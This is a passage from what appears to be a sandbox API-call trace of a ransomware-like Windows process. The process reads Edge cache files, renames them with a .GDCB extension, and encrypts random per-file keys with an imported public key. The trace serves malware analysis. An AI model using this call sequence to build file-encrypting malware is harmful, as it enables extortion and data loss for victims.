dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.668] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.672] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.675] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x4fc0, lpOverlapped=0x0) returned 1 [0291.682] VirtualAlloc (lpAddress=0x0, dwSize=0x4fc0, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.712] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\3727cd16[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\3727cd16[1].css.gdcb")) returned 1 [0291.716] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.722] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.722] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.728] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.728] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.728] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.728] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.731] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaa70) returned 1 [0291.731] CryptGetKeyParam (in: hKey=0x67aaa70, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.731] CryptEncrypt (in: hKey=0x67aaa70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.732] GetLastError () returned 0x0 [0291.732] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.732] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.734] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aa970) returned 1 [0291.734] CryptGetKeyParam (in: hKey=0x67aa970, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.734] CryptEncrypt (in: hKey=0x67aa970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.734] GetLastError () returned 0x0 [0291.734] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.734] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.738] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.741] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x1bf0, lpOverlapped=0x0) returned 1 [0291.759] VirtualAlloc (lpAddress=0x0, dwSize=0x1bf0, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.766] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\41795194[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\41795194[1].css.gdcb")) returned 1 [0291.770] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0291.773] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.776] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.776] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.776] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.780] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.782] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.782] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.783] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.786] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aacf0) returned 1 [0291.786] CryptGetKeyParam (in: hKey=0x67aacf0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.786] CryptEncrypt (in: hKey=0x67aacf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.786] GetLastError () returned 0x0 [0291.786] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.786] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.788] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aae30) returned 1 [0291.788] CryptGetKeyParam (in: hKey=0x67aae30, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.788] CryptEncrypt (in: hKey=0x67aae30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.789] GetLastError () returned 0x0 [0291.789] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.789] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.795] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.798] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x4af0, lpOverlapped=0x0) returned 1 [0291.806] VirtualAlloc (lpAddress=0x0, dwSize=0x4af0, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.814] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\9101d3f2[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\9101d3f2[1].js.gdcb")) returned 1 [0291.817] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0291.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.824] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.824] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.824] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0291.824] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.827] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.829] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.829] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.829] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.830] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.833] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aad30) returned 1 [0291.833] CryptGetKeyParam (in: hKey=0x67aad30, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.833] CryptEncrypt (in: hKey=0x67aad30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.833] GetLastError () returned 0x0 [0291.833] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.833] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.835] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aadb0) returned 1 [0291.835] CryptGetKeyParam (in: hKey=0x67aadb0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.835] CryptEncrypt (in: hKey=0x67aadb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.835] GetLastError () returned 0x0 [0291.835] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.835] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.837] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.840] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.843] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x5c00, lpOverlapped=0x0) returned 1 [0291.852] VirtualAlloc (lpAddress=0x0, dwSize=0x5c00, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.859] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\d11fd6a0[1].js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\d11fd6a0[1].js.gdcb")) returned 1 [0291.862] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.869] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.869] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.881] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.881] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.881] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.882] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.884] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aaef0) returned 1 [0291.884] CryptGetKeyParam (in: hKey=0x67aaef0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.884] CryptEncrypt (in: hKey=0x67aaef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.885] GetLastError () returned 0x0 [0291.885] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.885] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.887] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67ab030) returned 1 [0291.887] CryptGetKeyParam (in: hKey=0x67ab030, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.887] CryptEncrypt (in: hKey=0x67ab030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.887] GetLastError () returned 0x0 [0291.887] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.887] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0291.888] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd580000 [0291.892] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd590000 [0291.895] ReadFile (in: hFile=0x520, lpBuffer=0xd590000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xd590000*, lpNumberOfBytesRead=0x285ced8*=0x7b0, lpOverlapped=0x0) returned 1 [0291.903] VirtualAlloc (lpAddress=0x0, dwSize=0x7b0, flAllocationType=0x3000, flProtect=0x4) returned 0xd6a0000 [0291.911] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\User\\Default\\AppCache\\E6ZY23KO\\1\\f544a93b[1].css.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\user\\default\\appcache\\e6zy23ko\\1\\f544a93b[1].css.gdcb")) returned 1 [0291.914] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0291.918] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.925] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.925] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0291.925] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.925] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0291.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0291.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0291.932] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0291.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0291.932] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0291.935] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67aae70) returned 1 [0291.936] CryptGetKeyParam (in: hKey=0x67aae70, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.936] CryptEncrypt (in: hKey=0x67aae70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xd560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0291.936] GetLastError () returned 0x0 [0291.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0291.936] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0291.938] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67ab070) returned 1 [0291.938] CryptGetKeyParam (in: hKey=0x67ab070, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0291.938] CryptEncrypt (in: hKey=0x67ab070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xd570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0291.938] GetLastError () returned 0x0 [0291.938] CryptReleaseContext 